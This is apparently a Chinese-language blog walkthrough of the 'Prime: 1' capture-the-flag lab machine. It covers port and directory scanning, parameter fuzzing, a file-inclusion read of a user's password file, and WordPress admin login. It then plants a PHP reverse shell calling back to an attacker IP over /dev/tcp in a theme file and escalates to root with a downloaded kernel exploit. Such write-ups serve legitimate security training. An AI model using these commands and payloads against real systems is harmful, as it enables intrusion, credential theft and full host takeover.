Prime:1

一、信息收集

1
2
3
sudo nmap -Pn -p- 192.168.1.4 #22,80
sudo nmap -sT -Pn -p22,80 -sV -sC -O 192.168.1.4
sudo nmap --script=vuln -p22,80 192.168.1.4

80端口就一个图片页面

1
dirb http://192.168.1.4 -X ,.html,.php

有一个wordpress路径

wordpress首页

去admin.php文件,万能密码尝试一下,不行

忘记密码部分,获取账号信息,admin/root是不存在的

那既然插件得到wordpress版本5.2.2,终端去searchsploit一下,还是有几个漏洞的,先不急

根据扫到的路径

1
2
3
4
5
/uploads/2019/08/ #这是上传文件地址,没文件
http://192.168.1.4/wordpress/wp-admin/maint/ #有个repair文件,没用
http://192.168.1.4/wordpress/wp-admin/includes/ #有很多文件,但是没什么权限看
http://192.168.1.4/wordpress/wp-includes/ #也有很多文件,打开都是空白的
http://192.168.1.4/wordpress/?static=1 #这个是百度搜的,确实可以未授权看到一些文章,但意义不大

好好好,我就知道,我少扫了个txt的扩展

提示说fuzz参数

1
gobuster fuzz -u  http://192.168.1.4/index.php?FUZZ=1 -w /tmp/fuzz.txt #尝试了好几个php文件没有结果

看了wp,还是找的php文件不对

1
2
sudo wfuzz -w /tmp/fuzz.txt -u http://192.168.1.4/index.php?FUZZ=1 --hh 136
#因为出现的字节数为136的太多了,所以可以隐藏不显示,只需要关注特殊的字节数的即可

二、文件包含

出现了个file

想到前面提到的location.txt

其他php,想到同为根目录下的image.php文件

说明现在根目录,那我直接找其它敏感路径了

这个像个提示

1
http://192.168.1.4/image.php?secrettier360=/home/saket/password.txt #follow_the_ippsec 

ssh尝试一下,不是密码

这个肯定是密码,但不是ssh的密码,那么想到还有后台登录

忘记密码测试一波账号:saket,没有这个账号,那么post的发布者 victor是有的,想到试一下账号和获得的密码

三、登录后台

找到创建新页面的地方,编辑,code

发现没有代码形式,比如php,想到安装

看下插件部分

好好好,本地安装不了

这个要ftp凭证或者主机名,嘶

先不急,看看其它拿shell的地方,有个文件上传的地方,可以改后缀也被识别,算了

尝试了一波web后台登录凭证,也不行,它的上传Plugin,也不行,。父目录不可写

然后是Apperance部分,上传主题Theme,也不可写,好好好

看了wp,在Theme Editor里有一个可写的php文件

1
2
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.109/7777 0>&1'");?>
#攻击机监听

嘶,这个文件路径在哪里

1
2
3
http://192.168.1.4/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen
#改一下
http://192.168.1.4/wordpress/wp-content/themes/twentynineteen/secret.php

四、内核提权

在指定文件文件下是可以免密root执行的,但是呢,无法修改这文件,所以只能放弃

1
2
3
uname -a #ubuntu 4.10.0-28-generic 
searchsploit Linux ubuntu 4.10.0-28
searchsploit -m 45010.c #下载

是一个c语言文件,下载后,cat一下

这个先编译后再使用,但因为编译环境因机器而异,一般先上传到靶机,去编译,没有gcc,再考虑将编译后的传过去

传输

攻击机搭建服务器,php和python都可以

1
2
php -S 0:80
python -m http.server 80

这里有一个注意的点:

在低权限的文件夹下进行搭建,比如tmp,靶机也在tmp路径下去下载

然后在靶机的webshell中下载c文件

1
wget http://192.186.1.109:80/45010.c

拿到root

编译后执行即可

webshell里也有一个user.txt,flag,不用看了

总结

  1. 80和22端口,走80端口
  2. 路径扫一波,发现dev文件,给出提示去Fuzz
  3. 对php文件fuzz参数得到,file=location.txt
  4. 进而去另一个php文件包含得到了password
  5. 尝试ssh,不对
  6. 去webpress首页,得到一个作者名为victor,考虑作为username
  7. 去后台登录,找文件上传、内嵌反弹shell的点
  8. 反弹shell,提权尝试->内核提权

这对实战也是有帮助的,有的时候一个网页可能需要接收一些参数,页面内容和不接收参数的是不同的;所以尽可能去fuzz一些参数,从而获得敏感信息

进而拿到了后台凭证,去后台反弹shell即可

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信